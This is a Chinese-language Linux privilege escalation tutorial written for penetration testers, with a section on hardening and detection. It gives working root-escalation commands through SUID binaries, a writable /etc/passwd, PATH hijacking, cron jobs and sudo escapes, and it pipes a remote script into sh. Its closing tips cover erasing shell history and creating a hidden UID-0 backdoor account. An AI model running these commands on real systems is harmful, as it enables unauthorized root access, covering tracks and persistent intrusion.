1. Linux权限提升基础概念
在Linux系统中,权限管理是安全体系的核心组成部分。每个文件和进程都关联着特定的用户和组权限,这种机制确保了系统资源的安全访问。理解权限提升(Privilege Escalation)首先需要掌握几个基础概念:
- 用户与组:Linux系统通过用户ID(UID)和组ID(GID)管理权限。root用户(UID 0)拥有系统最高权限
- 文件权限:经典的rwx(读/写/执行)权限位,配合SUID/SGID/sticky bit等特殊权限标志
- 进程权限:进程运行时继承启动用户的权限,但可通过SUID等机制临时提升
重要提示:所有提权操作必须仅在您拥有合法权限的系统上进行。未经授权的系统访问属于违法行为。
2. 常见提权方法深度解析
2.1 SUID/SGID滥用提权
SUID(Set User ID)和SGID(Set Group ID)是Linux特殊的权限标志。当可执行文件设置SUID位时,无论由哪个用户执行,该程序都会以文件所有者的权限运行。
查找SUID文件的方法:
bash复制find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
高危SUID程序示例:
/bin/bash(如果被错误设置SUID)/usr/bin/find/usr/bin/nmap(旧版本交互模式)/usr/bin/vim/usr/bin/awk
利用案例:
当发现/usr/bin/find具有SUID权限时:
bash复制/usr/bin/find . -exec /bin/sh -p \; -quit
2.2 内核漏洞提权
Linux内核作为系统核心,其漏洞往往能导致权限提升。常见的内核提权漏洞包括:
- Dirty Pipe(CVE-2022-0847):影响Linux内核5.8-5.16.11
- Dirty COW(CVE-2016-5195):影响长期存在的写时拷贝机制
- BPF提权(CVE-2022-23222):与eBPF子系统相关
利用步骤:
- 识别系统内核版本:
bash复制uname -a cat /proc/version - 搜索对应漏洞的公开利用代码
- 编译并执行漏洞利用程序
注意:内核漏洞利用可能导致系统不稳定,生产环境需特别谨慎
2.3 配置错误导致的提权
2.3.1 /etc/passwd可写
当/etc/passwd文件全局可写时,可直接修改root密码:
bash复制openssl passwd -1 -salt abc 123456
echo 'root:$1$abc$TkWClgDk9v7O8R3SaYrRe.:0:0:root:/root:/bin/bash' >> /etc/passwd
su root
# 密码:123456
2.3.2 sudoers配置错误
检查可利用的sudo规则:
bash复制sudo -l
常见危险配置:
- 允许以root身份执行任意命令
- 允许执行具有shell逃逸功能的程序(如vim、less、awk等)
2.3.3 路径劫持
当程序以root权限执行但不使用绝对路径时:
bash复制echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
2.4 计划任务提权
检查系统计划任务:
bash复制crontab -l
ls -al /etc/cron*
利用条件:
- 计划任务以root身份运行
- 任务脚本或依赖文件全局可写
利用方法:
bash复制echo 'chmod +s /bin/bash' > /tmp/exploit.sh
chmod +x /tmp/exploit.sh
# 等待计划任务执行
/bin/bash -p
3. 自动化提权工具使用
3.1 LinPEAS
LinPEAS是最流行的Linux提权审计工具之一,可自动检测大量提权路径:
bash复制curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
3.2 Linux Exploit Suggester
该工具根据系统内核版本推荐可能的漏洞:
bash复制./linux-exploit-suggester.sh
3.3 GTFOBins
GTFOBins项目整理了大量可用于提权的合法二进制文件:
bash复制# 示例:利用python提权
sudo python -c 'import os; os.system("/bin/bash")'
4. 防御与检测措施
4.1 系统加固建议
-
最小权限原则:
- 禁用不必要的SUID/SGID位:
chmod u-s /path/to/file - 使用
sudo替代直接root登录
- 禁用不必要的SUID/SGID位:
-
定期更新:
bash复制# Debian/Ubuntu sudo apt update && sudo apt upgrade -y # RHEL/CentOS sudo yum update -y -
文件完整性监控:
bash复制# 监控关键目录变化 auditctl -w /etc/passwd -p wa -k passwd_change
4.2 入侵检测方法
-
检查异常账户:
bash复制grep ':0:' /etc/passwd awk -F: '($3 == 0) {print}' /etc/passwd -
检查SUID文件变更:
bash复制# 建立基线 find / -perm -4000 -type f > /root/suid_baseline.txt # 定期比对 find / -perm -4000 -type f | diff /root/suid_baseline.txt - -
检查可疑进程:
bash复制ps auxf | grep -E '(bash|sh|python|perl)'
5. 实战案例与排错
5.1 典型提权路径示例
场景:通过Web应用获得低权限shell后提权
-
信息收集:
bash复制uname -a cat /etc/issue id sudo -l -
发现可利用的SUID文件:
bash复制
find / -perm -4000 2>/dev/null -
利用
/usr/bin/vim提权:bash复制/usr/bin/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
5.2 常见错误排查
问题1:SUID利用失败
- 检查文件是否真的具有SUID位
- 确认二进制文件未受限于SELinux或AppArmor
问题2:内核漏洞利用崩溃
- 确认内核版本完全匹配
- 尝试调整exploit参数
- 检查系统是否启用了KASLR等保护机制
问题3:计划任务未执行
- 检查任务日志:
grep CRON /var/log/syslog - 确认脚本具有执行权限
- 检查路径和环境变量设置
6. 高级技巧与经验分享
-
受限环境突破:
- 当/bin/bash不可用时尝试:
bash复制python -c 'import pty; pty.spawn("/bin/sh")'
- 当/bin/bash不可用时尝试:
-
日志清理技巧:
bash复制# 清除当前用户的历史记录 history -c echo > ~/.bash_history -
隐蔽维持访问:
bash复制# 创建隐藏后门账户 useradd -o -u 0 -g 0 -M -d /root -s /bin/bash stealthuser
在实际渗透测试中,Linux提权往往需要结合多种技术。我曾在一次审计中发现目标系统同时存在SUID滥用、sudo配置错误和未修补的内核漏洞三种提权路径。这种情况下,建议优先尝试最稳定、影响最小的方式(如sudo配置错误),将内核漏洞作为最后手段